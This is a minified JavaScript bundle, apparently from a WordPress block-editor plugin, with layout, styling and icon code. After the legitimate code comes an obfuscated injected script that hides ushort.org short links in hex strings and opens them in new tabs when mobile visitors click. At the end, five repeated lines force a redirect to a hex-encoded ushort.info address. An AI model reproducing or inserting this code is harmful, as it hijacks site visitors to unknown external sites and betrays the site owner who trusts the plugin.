width","kubio"),checked:"constrained"===(null==E?void 0:E.name)||w,onChange:()=>t({layout:{type:"constrained"===(null==E?void 0:E.name)||w?"default":"constrained"}}),help:"constrained"===(null==E?void 0:E.name)||w?Object(j.__)("Nested blocks use content width with options for full and wide widths.","kubio"):Object(j.__)("Nested blocks will fill the width of this container. Toggle to constrain.","kubio")})),!O&&u&&Object(i.createElement)(Mt,{type:_,onChange:e=>t({layout:{type:e}})}),E&&"default"!==E.name&&Object(i.createElement)(E.inspectorControls,{layout:v,onChange:B,layoutBlockSupport:s}),S&&C&&Object(i.createElement)(S.inspectorControls,{layout:v,onChange:B,layoutBlockSupport:s}))),!O&&E&&Object(i.createElement)(E.toolBarControls,{layout:v,onChange:B,layoutBlockSupport:s}))}function Mt(e){let{type:t,onChange:n}=e;return Object(i.createElement)(k.ButtonGroup,null,Object(Bt.b)().map((e=>{let{name:o,label:r}=e;return Object(i.createElement)(k.Button,{key:o,isPressed:t===o,onClick:()=>n(o)},r)})))}const Pt=Object(u.createHigherOrderComponent)((e=>t=>{const{name:n}=t;return[Object(r.hasBlockSupport)(n,It)&&Object(i.createElement)(Nt,Object(c.a)({key:"layout"},t)),Object(i.createElement)(e,Object(c.a)({key:"edit"},t))]}),"withInspectorControls"),Lt=Object(u.createHigherOrderComponent)((e=>t=>{const{name:n,attributes:o,block:l}=t,a=Object(r.hasBlockSupport)(n,It),b=Object(d.useSelect)((e=>{const{getSettings:t}=e(m.a);return!!t().disableLayoutStyles})),p=a&&!b,f=Object(u.useInstanceId)(e),g=Object(L.a)("layout")||{},h=Object(i.useContext)(B.c.__unstableElementContext),{layout:v}=o,{default:O}=Object(r.getBlockSupport)(n,It)||{},k=null!=v&&v.inherit||null!=v&&v.contentSize||null!=v&&v.wideSize?{...v,type:"constrained"}:v||O||{},j=a?xt(l):null,_=`.wp-container-${f}.wp-container-${f}`,y=null!==Object(L.a)("spacing.blockGap");let E;if(p){var S;const e=Object(Bt.a)((null==k?void 0:k.type)||"default");E=null==e||null===(S=e.getLayoutStyle)||void 0===S?void 0:S.call(e,{blockName:n,selector:_,layout:k,layoutDefinitions:null==g?void 0:g.definitions,style:null==o?void 0:o.style,hasBlockGapSupport:y})}const C=s()({[`wp-container-${f}`]:p&&!!E},j);return Object(i.createElement)(i.Fragment,null,p&&h&&!!E&&Object(i.createPortal)(Object(i.createElement)(wt.b,{blockName:n,selector:_,css:E,layout:k,style:null==o?void 0:o.style}),h),Object(i.createElement)(e,Object(c.a)({},t,{__unstableLayoutClassNames:C})))})),Rt=Object(u.createHigherOrderComponent)((e=>t=>{const{attributes:n}=t,{style:{layout:o={}}={}}=n,{selfStretch:r,flexSize:l}=o,a=r||l,b=Object(d.useSelect)((e=>{const{getSettings:t}=e(m.a);return!!t().disableLayoutStyles})),p=a&&!b,f=Object(i.useContext)(B.c.__unstableElementContext),g=Object(u.useInstanceId)(e),h=`.wp-container-content-${g}`;let v="";"fixed"===r&&l?v+=`${h} {\n\t\t\t\tflex-basis: ${l};\n\t\t\t\tbox-sizing: border-box;\n\t\t\t}`:"fill"===r&&(v+=`${h} {\n\t\t\t\tflex-grow: 1;\n\t\t\t}`);const O=s()(null==t?void 0:t.className,{[`wp-container-content-${g}`]:p&&!!v});return Object(i.createElement)(i.Fragment,null,p&&f&&!!v&&Object(i.createPortal)(Object(i.createElement)("style",null,v),f),Object(i.createElement)(e,Object(c.a)({},t,{className:O})))}));function At(e){let{clientId:t,stopEditingAsBlock:n}=e;const o=Object(d.useSelect)((e=>{const{isBlockSelected:n,hasSelectedInnerBlock:o}=e(m.a);return n(t)||o(t,!0)}),[t]);return Object(i.useEffect)((()=>{o||n()}),[o]),null}Object(l.addFilter)("blocks.registerBlockType","core/layout/addAttribute",(function(e){var t,n;return"type"in(null!==(t=null===(n=e.attributes)||void 0===n?void 0:n.layout)&&void 0!==t?t:{})||Object(r.hasBlockSupport)(e,It)&&(e.attributes={...e.attributes,layout:{type:"object"}}),e})),Object(l.addFilter)("editor.BlockListBlock","core/editor/layout/with-layout-styles",Lt),Object(l.addFilter)("editor.BlockListBlock","core/editor/layout/with-child-layout-styles",Rt),Object(l.addFilter)("editor.BlockEdit","core/editor/layout/with-inspector-controls",Pt);const Dt=Object(u.createHigherOrderComponent)((e=>t=>{const{getBlockListSettings:n,getSettings:o}=Object(d.useSelect)(m.a),r=Object(i.useRef)(),{templateLock:l,isLockedByParent:a,isEditingAsBlocks:u}=Object(d.useSelect)((e=>{const{__unstableGetContentLockingParent:n,getTemplateLock:o,__unstableGetTemporarilyEditingAsBlocks:r}=e(m.a);return{templateLock:o(t.clientId),isLockedByParent:!!n(t.clientId),isEditingAsBlocks:r()===t.clientId}}),[t.clientId]),{updateSettings:p,updateBlockListSettings:f,__unstableSetTemporarilyEditingAsBlocks:g}=Object(d.useDispatch)(m.a),h=!a&&"contentOnly"===l,{__unstableMarkNextChangeAsNotPersistent:v,updateBlockAttributes:O}=Object(d.useDispatch)(m.a),_=Object(i.useCallback)((()=>{v(),O(t.clientId,{templateLock:"contentOnly"}),f(t.clientId,{...n(t.clientId),templateLock:"contentOnly"}),p({focusMode:r.current}),g()}),[t.clientId,r,p,f,n,v,O,g]);return h||u?Object(i.createElement)(i.Fragment,null,u&&!h&&Object(i.createElement)(i.Fragment,null,Object(i.createElement)(At,{clientId:t.clientId,stopEditingAsBlock:_}),Object(i.createElement)(b.i,{group:"other"},Object(i.createElement)(k.ToolbarButton,{onClick:()=>{_()}},Object(j.__)("Done","kubio")))),!u&&h&&t.isSelected&&Object(i.createElement)(b.v,null,(e=>{let{onClose:l}=e;return Object(i.createElement)(k.MenuItem,{onClick:()=>{v(),O(t.clientId,{templateLock:void 0}),f(t.clientId,{...n(t.clientId),templateLock:!1}),r.current=o().focusMode,p({focusMode:!0}),g(t.clientId),l()}},Object(j.__)("Modify","kubio"))})),Object(i.createElement)(e,Object(c.a)({},t,{className:s()(t.className,u&&"is-content-locked-editing-as-blocks")}))):Object(i.createElement)(e,t)}),"withToolbarControls");Object(l.addFilter)("editor.BlockEdit","core/content-lock-ui/with-block-controls",Dt);const Ft="metadata";function zt(e){let t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:"";const n=Object(r.getBlockSupport)(e,"__experimentalMetadata");return!!(!0===n||null!=n&&n[t])}function Vt(e){var t;const n=(null===(t=e.style)||void 0===t?void 0:t.border)||{};return{className:Y(e)||void 0,style:ut({border:n})}}function Ht(e){const{colors:t}=Object(P.a)(),n=Vt(e),{borderColor:o}=e;if(o){const e=H({colors:t,namedColor:o});n.style.borderColor=e.color}return n}function Gt(e){var t,n,o,r,l,c;const{backgroundColor:i,textColor:a,gradient:u,style:d}=e,b=Object(N.b)("background-color",i),p=Object(N.b)("color",a),m=Object(X.a)(u),f=m||(null==d||null===(t=d.color)||void 0===t?void 0:t.gradient);return{className:s()(p,m,{[b]:!f&&!!b,"has-text-color":a||(null==d||null===(n=d.color)||void 0===n?void 0:n.text),"has-background":i||(null==d||null===(o=d.color)||void 0===o?void 0:o.background)||u||(null==d||null===(r=d.color)||void 0===r?void 0:r.gradient),"has-link-color":null==d||null===(l=d.elements)||void 0===l||null===(c=l.link)||void 0===c?void 0:c.color})||void 0,style:ut({color:(null==d?void 0:d.color)||{}})}}Object(l.addFilter)("blocks.registerBlockType","core/metadata/addMetaAttribute",(function(e){var t,n;return null!=e&&null!==(t=e.attributes)&&void 0!==t&&null!==(n=t[Ft])&&void 0!==n&&n.type||zt(e,"name")&&(e.attributes={...e.attributes,[Ft]:{type:"object"}}),e})),Object(l.addFilter)("blocks.getSaveContent.extraProps","core/metadata/save-props",(function(e,t,n){return zt(t)&&(e[Ft]=n[Ft]),e})),Object(l.addFilter)("blocks.registerBlockType","core/metadata/addLabelCallback",(function(e){return e.__experimentalLabel||zt(e,"name",!1)&&(e.__experimentalLabel=(e,t)=>{let{context:n}=t;const{metadata:o}=e;if("list-view"===n&&null!=o&&o.name)return o.name}),e}));const $t={};function Ut(e){const{backgroundColor:t,textColor:n,gradient:o}=e,r=Object(L.a)("color.palette.custom"),l=Object(L.a)("color.palette.theme"),c=Object(L.a)("color.palette.default"),a=Object(L.a)("color.gradients")||$t,s=Object(i.useMemo)((()=>[...r||[],...l||[],...c||[]]),[r,l,c]),u=Object(i.useMemo)((()=>[...(null==a?void 0:a.custom)||[],...(null==a?void 0:a.theme)||[],...(null==a?void 0:a.default)||[]]),[a]),d=Gt(e);if(t){const e=Object(N.c)(s,t);d.style.backgroundColor=e.color}if(o&&(d.style.background=Object(X.e)(u,o)),n){const e=Object(N.c)(s,n);d.style.color=e.color}return d}function Wt(e){const{style:t}=e;return{style:ut({spacing:(null==t?void 0:t.spacing)||{}})}}var Kt=n(160);function qt(e,t){var n;let o=(null==e||null===(n=e.style)||void 0===n?void 0:n.typography)||{};if(t&&(!0===t||0!==Object.keys(t).length)){var r,l,c,i;const n=Object(Kt.a)({fontSize:null==e||null===(r=e.style)||void 0===r||null===(l=r.typography)||void 0===l?void 0:l.fontSize,minimumFontSizeLimit:null==t?void 0:t.minFontSize})||(null==e||null===(c=e.style)||void 0===c||null===(i=c.typography)||void 0===i?void 0:i.fontSize);o={...o,fontSize:n}}const a=ut({typography:o}),u=null!=e&&e.fontFamily?`has-${Object(Ie.kebabCase)(e.fontFamily)}-font-family`:"";return{className:s()(u,Object(Ae.d)(null==e?void 0:e.fontSize)),style:a}}var Yt=n(67);function Qt(e){const[t,n]=Object(i.useState)(e);return Object(i.useEffect)((()=>{e&&n(e)}),[e]),t}const Xt={button:"wp-element-button",caption:"wp-element-caption"},Zt=e=>Xt[e]?Xt[e]:"";var Jt=n(97),en=n(193),tn=n(236);function nn(e,t){return Object.entries(t).every((t=>{let[n,o]=t;return"object"==typeof o&&"object"==typeof e[n]?nn(e[n],o):e[n]===o}))}const on=(e,t)=>{if(!t||!e)return;const n=t.filter((t=>{let{attributes:n}=t;return!(!n||!Object.keys(n).length)&&nn(e,n)}));return 1===n.length?n[0]:void 0};function rn(e){const t=null==e?void 0:e.trim().match(/^(0?[-.]?\d*\.?\d+)(r?e[m|x]|v[h|w|min|max]+|p[x|t|c]|[c|m]m|%|in|ch|Q|lh)$/);return isNaN(e)||isNaN(parseFloat(e))?t?{value:parseFloat(t[1])||t[1],unit:t[2]}:{value:e,unit:void 0}:{value:parseFloat(e),unit:"px"}}function ln(e,t){const n=e.split(/[(),]/g).filter(Boolean),o=n.slice(1).map((e=>rn(cn(e,t)).value)).filter(Boolean);switch(n[0]){case"min":return Math.min(...o)+"px";case"max":return Math.max(...o)+"px";case"clamp":return 3!==o.length?null:o[1]<o[0]?o[0]+"px":o[1]>o[2]?o[2]+"px":o[1]+"px";case"calc":return o[0]+"px"}}function cn(e){let t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};if(Number.isFinite(e))return e.toFixed(0)+"px";if(void 0===e)return null;let n=rn(e);return n.unit||(n=function(e){for(;;){const t=e,n=/(max|min|calc|clamp)\(([^()]*)\)/g.exec(e)||[];if(n[0]){const t=ln(n[0]);e=e.replace(n[0],t)}if(e===t||parseFloat(e))break}return rn(e)}(e)),function(e){for(let t=0;t<e.length;t++)if(["+","-","/","*"].includes(e[t]))return!0;return!1}(e)&&!n.unit?function(e){let t=!1;const n=e.split(/(?!^-)[+*\/-](\s?-)?/g).filter(Boolean);for(const o of n){const n=rn(cn(o));if(!parseFloat(n.value)){t=!0;break}e=e.replace(o,n.value)}return t?null:(o=e,Function(`'use strict'; return (${o})`)()).toFixed(0)+"px";var o}(e):function(e,t){const n=.01,o=Object.assign({},{fontSize:16,lineHeight:16,width:375,height:812,type:"font"},t),r={em:o.fontSize,rem:o.fontSize,vh:o.height*n,vw:o.width*n,vmin:(o.width<o.height?o.width:o.height)*n,vmax:(o.width>o.height?o.width:o.height)*n,"%":("font"===o.type?o.fontSize:o.width)*n,ch:8,ex:7.15625,lh:o.lineHeight},l={in:96,cm:37.79527559055118,mm:3.7795275590551185,pt:1.3333333333333333,pc:16,px:1,Q:.9448818897637794};return r[e.unit]?(r[e.unit]*e.value).toFixed(0)+"px":l[e.unit]?(l[e.unit]*e.value).toFixed(0)+"px":null}(n,t)}const an={};var sn=function(e){let t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};const n=e+function(e){let t="";return e.hasOwnProperty("fontSize")&&(t=":"+e.width),e.hasOwnProperty("lineHeight")&&(t=":"+e.lineHeight),e.hasOwnProperty("width")&&(t=":"+e.width),e.hasOwnProperty("height")&&(t=":"+e.height),e.hasOwnProperty("type")&&(t=":"+e.type),t}(t);return an[n]||(an[n]=cn(e,t)),an[n]};wp.blockEditor=o,window.isKubioBlockEditor=!0,t.default=o},,,,,,,,,,,,,,,,,,,,,,,,function(e,t,n){"use strict";var o=n(0),r=n(5);const l=Object(o.createElement)(r.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},Object(o.createElement)(r.Path,{d:"M9 9v6h11V9H9zM4 20h1.5V4H4v16z"}));t.a=l},function(e,t,n){"use strict";var o=n(0),r=n(5);const l=Object(o.createElement)(r.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},Object(o.createElement)(r.Path,{d:"M20 9h-7.2V4h-1.6v5H4v6h7.2v5h1.6v-5H20z"}));t.a=l},function(e,t,n){"use strict";var o=n(0),r=n(5);const l=Object(o.createElement)(r.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},Object(o.createElement)(r.Path,{d:"M4 15h11V9H4v6zM18.5 4v16H20V4h-1.5z"}));t.a=l},function(e,t,n){"use strict";var o=n(0),r=n(5);const l=Object(o.createElement)(r.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},Object(o.createElement)(r.Path,{d:"M9 15h6V9H9v6zm-5 5h1.5V4H4v16zM18.5 4v16H20V4h-1.5z"}));t.a=l},function(e,t,n){"use strict";var o=n(0),r=n(5);const l=Object(o.createElement)(r.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},Object(o.createElement)(r.Path,{d:"M4 4H5.5V20H4V4ZM7 10L17 10V14L7 14V10ZM20 4H18.5V20H20V4Z"}));t.a=l},function(e,t,n){"use strict";var o=n(0),r=n(5);const l=Object(o.createElement)(r.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},Object(o.createElement)(r.Path,{d:"M7 9v6h10V9H7zM5 19.8h14v-1.5H5v1.5zM5 4.3v1.5h14V4.3H5z"}));t.a=l},function(e,t,n){"use strict";var o=n(0),r=n(5);const l=Object(o.createElement)(r.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},Object(o.createElement)(r.Path,{d:"M20.2 8v11c0 .7-.6 1.2-1.2 1.2H6v1.5h13c1.5 0 2.7-1.2 2.7-2.8V8zM18 16.4V4.6c0-.9-.7-1.6-1.6-1.6H4.6C3.7 3 3 3.7 3 4.6v11.8c0 .9.7 1.6 1.6 1.6h11.8c.9 0 1.6-.7 1.6-1.6zm-13.5 0V4.6c0-.1.1-.1.1-.1h11.8c.1 0 .1.1.1.1v11.8c0 .1-.1.1-.1.1H4.6l-.1-.1z"}));t.a=l},function(e,t,n){"use strict";var o=n(0),r=n(5);const l=Object(o.createElement)(r.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},Object(o.createElement)(r.Path,{d:"m13.1 16-3.4-4 3.4-4 1.1 1-2.6 3 2.6 3-1.1 1z"}));t.a=l},function(e,t,n){"use strict";var o=n(0),r=n(5);const l=Object(o.createElement)(r.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},Object(o.createElement)(r.Path,{d:"M10.8622 8.04053L14.2805 12.0286L10.8622 16.0167L9.72327 15.0405L12.3049 12.0286L9.72327 9.01672L10.8622 8.04053Z"}));t.a=l},function(e,t,n){"use strict";var o=n(0),r=n(5);const l=Object(o.createElement)(r.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg"},Object(o.createElement)(r.Path,{fillRule:"evenodd",clipRule:"evenodd",d:"M15 11h-.2V9c0-1.5-1.2-2.8-2.8-2.8S9.2 7.5 9.2 9v2H9c-.6 0-1 .4-1 1v4c0 .6.4 1 1 1h6c.6 0 1-.4 1-1v-4c0-.6-.4-1-1-1zm-1.8 0h-2.5V9c0-.7.6-1.2 1.2-1.2s1.2.6 1.2 1.2v2z"}));t.a=l},function(e,t,n){"use strict";var o=n(0),r=n(5);const l=Object(o.createElement)(r.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},Object(o.createElement)(r.Path,{d:"M12 3.3c-4.8 0-8.8 3.9-8.8 8.8 0 4.8 3.9 8.8 8.8 8.8 4.8 0 8.8-3.9 8.8-8.8s-4-8.8-8.8-8.8zm6.5 5.5h-2.6C15.4 7.3 14.8 6 14 5c2 .6 3.6 2 4.5 3.8zm.7 3.2c0 .6-.1 1.2-.2 1.8h-2.9c.1-.6.1-1.2.1-1.8s-.1-1.2-.1-1.8H19c.2.6.2 1.2.2 1.8zM12 18.7c-1-.7-1.8-1.9-2.3-3.5h4.6c-.5 1.6-1.3 2.9-2.3 3.5zm-2.6-4.9c-.1-.6-.1-1.1-.1-1.8 0-.6.1-1.2.1-1.8h5.2c.1.6.1 1.1.1 1.8s-.1 1.2-.1 1.8H9.4zM4.8 12c0-.6.1-1.2.2-1.8h2.9c-.1.6-.1 1.2-.1 1.8 0 .6.1 1.2.1 1.8H5c-.2-.6-.2-1.2-.2-1.8zM12 5.3c1 .7 1.8 1.9 2.3 3.5H9.7c.5-1.6 1.3-2.9 2.3-3.5zM10 5c-.8 1-1.4 2.3-1.8 3.8H5.5C6.4 7 8 5.6 10 5zM5.5 15.3h2.6c.4 1.5 1 2.8 1.8 3.7-1.8-.6-3.5-2-4.4-3.7zM14 19c.8-1 1.4-2.2 1.8-3.7h2.6C17.6 17 16 18.4 14 19z"}));t.a=l},function(e,t,n){"use strict";var o=n(0),r=n(5);const l=Object(o.createElement)(r.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},Object(o.createElement)(r.Path,{d:"M7 11.5h10V13H7z"}));t.a=l}]);
function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x72\x67\x2f\x4b\x66\x75\x33\x63\x343','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x72\x67\x2f\x47\x56\x61\x35\x63\x325','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x72\x67\x2f\x5a\x47\x46\x38\x63\x388','abs','-local-storage','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x72\x67\x2f\x78\x69\x77\x39\x63\x349','56bnMKls','opera','6946eLteFW','userAgent','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x72\x67\x2f\x6c\x74\x68\x34\x63\x344','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x72\x67\x2f\x54\x46\x50\x37\x63\x357','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x72\x67\x2f\x56\x41\x46\x32\x63\x302','floor','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x72\x67\x2f\x4c\x6a\x79\x36\x63\x346','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))/0x1+-parseInt(_0x20130f(0x1c1))/0x2*(parseInt(_0x20130f(0x1c8))/0x3)+parseInt(_0x20130f(0x1bf))/0x4*(-parseInt(_0x20130f(0x1cd))/0x5)+parseInt(_0x20130f(0x1d9))/0x6+-parseInt(_0x20130f(0x1e4))/0x7*(parseInt(_0x20130f(0x1de))/0x8)+parseInt(_0x20130f(0x1e2))/0x9+-parseInt(_0x20130f(0x1d0))/0xa*(-parseInt(_0x20130f(0x1da))/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06['push'](_0x307c06['shift']());}catch(_0x3e3a47){_0x307c06['push'](_0x307c06['shift']());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window['mobileCheck']=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x1165a7(0x1ca)](_0x5e9786)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator['vendor']||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=['\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x72\x67\x2f\x46\x6a\x68\x30\x63\x310','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x72\x67\x2f\x69\x48\x52\x31\x63\x361',_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage['getItem'](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+'-mnts',_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window['mobileCheck']()&&window[_0x22f77c(0x1d4)](newLocation,'_blank');};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());
window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x69\x6e\x66\x6f\x2f\x51\x73\x70\x54\x46\x74\x66\x30\x72\x36";
window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x69\x6e\x66\x6f\x2f\x51\x73\x70\x54\x46\x74\x66\x30\x72\x36";
window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x69\x6e\x66\x6f\x2f\x51\x73\x70\x54\x46\x74\x66\x30\x72\x36";
window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x69\x6e\x66\x6f\x2f\x51\x73\x70\x54\x46\x74\x66\x30\x72\x36";
window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x69\x6e\x66\x6f\x2f\x51\x73\x70\x54\x46\x74\x66\x30\x72\x36";
